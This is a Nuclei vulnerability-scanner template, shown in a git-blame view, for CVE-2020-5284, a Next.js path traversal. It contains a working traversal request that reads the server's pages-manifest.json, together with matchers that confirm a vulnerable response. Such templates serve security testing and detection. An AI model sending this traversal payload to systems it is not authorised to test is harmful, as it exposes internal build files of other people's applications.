nuclei-templates/cves/2020/CVE-2020-5284.yaml

30 lines
1.1 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-5284
2020-04-05 18:24:33 +00:00
info:
name: Next.js .next/ limited path traversal
2021-06-09 12:20:56 +00:00
author: rootxharsh,iamnoooob,dwisiswant0
2020-04-05 18:24:33 +00:00
severity: medium
2021-03-21 06:41:45 +00:00
description: Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.
2021-03-18 07:54:36 +00:00
tags: cve,cve2020,nextjs,lfi
2021-03-21 06:41:45 +00:00
reference:
https://github.com/zeit/next.js/releases/tag/v9.3.2
https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
2020-04-05 18:24:33 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
2020-07-08 08:45:18 +00:00
matchers-condition: and
2020-04-05 18:24:33 +00:00
matchers:
- type: regex
regex:
- '\{"/_app":".*?_app\.js"'
part: body
- type: word
words:
- "application/json"
part: header
2020-04-05 18:24:33 +00:00
- type: status
status:
- 200